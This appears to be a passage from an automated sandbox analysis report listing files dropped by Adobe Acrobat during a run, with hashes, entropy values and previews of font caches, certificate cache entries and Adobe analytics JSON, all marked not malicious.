SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.743912490582081
Encrypted:	false
SSDEEP:	3:kkFklrAc+kltfllXlE/HT8k9NNX8RolJuRdxLlGB9lQRYwpDdt:kKTUeT8sNMa8RdWBwRd
MD5:	0A5D4F3271B8D47323ADA42BE68C115C
SHA1:	54558236CCB8B528EA74BE285EECB4E6CFCCE743
SHA-256:	DF62B6D54795B663BF4345AA2C47ABD0D8834B8750CAD87FF4B16DE2C828F411
SHA-512:	CD82CDE4E7817511F7C213A4B4D152C703CE8E9E3215C6129A4DEDB588E08CDE89379BA44731A5FB6F3A1EBCE09631080F2DB7B9740C172DADC56670076E7228
Malicious:	false
Preview:	p...... .........e..lc..(....................................................... ..........W....~7..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2197903033853845
Encrypted:	false
SSDEEP:	6:kKXEtL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:stiDImsLNkPlE99SNxAhUe/3
MD5:	7551DFC278FB7D9783B9EF692E3F0D00
SHA1:	2EB08FD5F42944FB2B21EC39B12417BBCA301343
SHA-256:	3B6076E1F950E10C6BB547671F802724B544DC07D38B9124D1C50AF28C42EE9E
SHA-512:	596D821D65754ED08A305F9188B47D6743DC666C9D425DC874A3AD09FC5BC3C9E8C74D5198FF4DA44F69C6846247A66D8A2F9E2E2A9F8011E1D3355DC35143F2
Malicious:	false
Preview:	p...... ........3@5.lc..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.8156

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.8156

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.363940477744216
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPAac5EQqW32vB3/dVlPIHAR0Y6b8DoAvJM3g98kUwPeUkwRe9:YvXKXYXB32vR/ZwHA+7GMbLUkee9
MD5:	65C9897C6E90AA8DE01E1CD738EA0B42
SHA1:	9DE29801A07C75642B8FDBCDE2888F69CC02294D
SHA-256:	9F4CABC6DF92243E183894A6C653104E999360AD4831A5FB877A9D9A8C89F50B
SHA-512:	DF33364F9C606CBC2148D93958FBDAC2D7F41E64DE7882B61F548AC2380116F908ABF761BFF4C6790A8BE06BC7ED9EAC8F077B99374863E2E59F3035DD12DFC6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8f96fb79-c9b1-45a5-b832-6e82cc4d1f14","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736694118006,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.299093967242145
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPAac5EQqW32vB3/dVlPIHAR0Y6b8DoAvJfBoTfXpnrPeUkwRe9:YvXKXYXB32vR/ZwHA+7GWTfXcUkee9
MD5:	CC846D5D2696BB8393600A69EA16814D
SHA1:	6F6D2C66593DAAD4F50928509216AA4828293B2B
SHA-256:	C6B82DA6E4DB1E457082E098D9D74094299977E179B3EEB0E4CC65D2F40173F0
SHA-512:	FF4326BAC36A4279C39F23E928E3E91AB0E3243A4E908611057768F57A015A80DE6CDBC274075C0CDE802305CFEEA0636329A6829C17385B7C40B3A2CD897292
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8f96fb79-c9b1-45a5-b832-6e82cc4d1f14","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736694118006,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.276944060819215
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPAac5EQqW32vB3/dVlPIHAR0Y6b8DoAvJfBD2G6UpnrPeUkwRe9:YvXKXYXB32vR/ZwHA+7GR22cUkee9
MD5:	5609C3611464FC55515DE926D30F87D6
SHA1:	2CFF48869DF8A4559B1DEA19DF5C3875CF5DBE6A
SHA-256:	ED5C1B73DC5618E3939543DD3F86B48975E34B5C86A3DDB85962D8FB995E6DFB
SHA-512:	197E6999932E9DAD5EF5E8191A581940EE5E2004F5816038C84A932A961C833811979C4C43FBB909F9336F8E37D580CD222FA241C114DADEF03BBE1F0050CC35
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8f96fb79-c9b1-45a5-b832-6e82cc4d1f14","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736694118006,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.340909273111513
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPAac5EQqW32vB3/dVlPIHAR0Y6b8DoAvJfPmwrPeUkwRe9:YvXKXYXB32vR/ZwHA+7GH56Ukee9
MD5:	193B3194B318CD32CBE87E6C96A84451
SHA1:	160BFF7A8383CA59DE5B900CF47835405D7953B3
SHA-256:	F1B6770C3FCDFE647913224A566D68BD6D7A3CBB6572824A572609FD232D0904
SHA-512:	32748E4243B11B05E9B57EF0E387FDA6D4A212FAAD91F329EB20E497CC8C3B050E641C562E4E6AB157C39C7B80279775A0F5767F40B54E97FFB8E0E6BC2344F6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8f96fb79-c9b1-45a5-b832-6e82cc4d1f14","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736694118006,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.690587733994552
Encrypted:	false
SSDEEP:	24:Yv6XfJhxpLgE9cQx8LennAvzBvkn0RCmK8czOCCS2G:YviJhxhgy6SAFv5Ah8cv/b
MD5:	4614C6D32AD1E35AD10617726A77D99D
SHA1:	B3708F0B1A5499A4DBB49188CCFE42AA25E8AABC
SHA-256:	F698FE5D5C29FBE08CFDD628033179FC5F2B6A6BA62B8CE1E64D36D1F15F4D88
SHA-512:	3D102D33BFFF44273F2E8919806F707F317610A1A8C44FD0BAF20FEE3E99212FF236F0DCD3E1CB92AF11D11AC3A4FF538A6C4466D6442E0697DB2EFF0C60FCBD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8f96fb79-c9b1-45a5-b832-6e82cc4d1f14","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736694118006,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2906927113686795
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPAac5EQqW32vB3/dVlPIHAR0Y6b8DoAvJf8dPeUkwRe9:YvXKXYXB32vR/ZwHA+7GU8Ukee9
MD5:	58779F23092C8C2656C9A9A37434495C
SHA1:	BDDE895E3CA6C808635718791741516DF48F3A89
SHA-256:	B4829FF4E3982DCB40371BC8187491C4E8995F86C0B826693FF2C5BF55E598F8
SHA-512:	453BCADBA687820F482AF673DE532FFEFA49EE242A6E015C1A9E70A487D81878EA1B0E54D3037DDFA1AABE666B7DE0A700E9FD27C86EAA213FF3594AAD6ACA5A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8f96fb79-c9b1-45a5-b832-6e82cc4d1f14","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736694118006,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.289158304457137
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPAac5EQqW32vB3/dVlPIHAR0Y6b8DoAvJfQ1rPeUkwRe9:YvXKXYXB32vR/ZwHA+7GY16Ukee9
MD5:	FD1A950D1EA388373D8EB6D827E62E6E
SHA1:	C2BE2FEA8EF9EFE04F4CD4E8AECCA0B54DA162BA
SHA-256:	941DAC032616BD5FE57E05A7C96E797B35184E9231FDA52CC51A48197073C63F
SHA-512:	D3C7C6C37FD806DF4F60F1BED329D95DD114DE8A3346257AF0FE453E5CF1B4D216EAB591481E997CBE46E2F2AE3B1D00A7C467DCBA1604FE15B9DCCAD8F7BA18
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8f96fb79-c9b1-45a5-b832-6e82cc4d1f14","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736694118006,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.306619905068676
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPAac5EQqW32vB3/dVlPIHAR0Y6b8DoAvJfFldPeUkwRe9:YvXKXYXB32vR/ZwHA+7Gz8Ukee9
MD5:	230FCD960EC190F1644CF540AB06221A
SHA1:	4E0419CD81E537D0C6ABF7059DC4995582E798AB
SHA-256:	40D7399C940DF1FAB46D2803B0A79E7CF3C2653F435E34284E1E7AA322B5C99F
SHA-512:	9969D2B90FDFBF0B28255217A037DA156A574B908268294905B082C299B742561E059A7C0A674385408B305B473193C4F955082CB05174DB1B879FA6CEF56832
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8f96fb79-c9b1-45a5-b832-6e82cc4d1f14","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736694118006,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.319922553891537
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPAac5EQqW32vB3/dVlPIHAR0Y6b8DoAvJfzdPeUkwRe9:YvXKXYXB32vR/ZwHA+7Gb8Ukee9
MD5:	B2A12672CECFAF1855CFA20F39636C41
SHA1:	E416EA4E4711953AAFA56CE43A866E896CBCC42C
SHA-256:	6A40047F594080823272983F135C5D74EF9B16845512675B978F5FB4171F350C
SHA-512:	E245F0F00985FAAD671B05708E6D3443CA7F4B21C610F6134E1F20C23BA314965099774DBDD114FEF7BBAC77949A5C3DDBF3F5A8E236FB0FE180F3DE350F1678
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8f96fb79-c9b1-45a5-b832-6e82cc4d1f14","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736694118006,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.300284082735769
Encrypted:	false
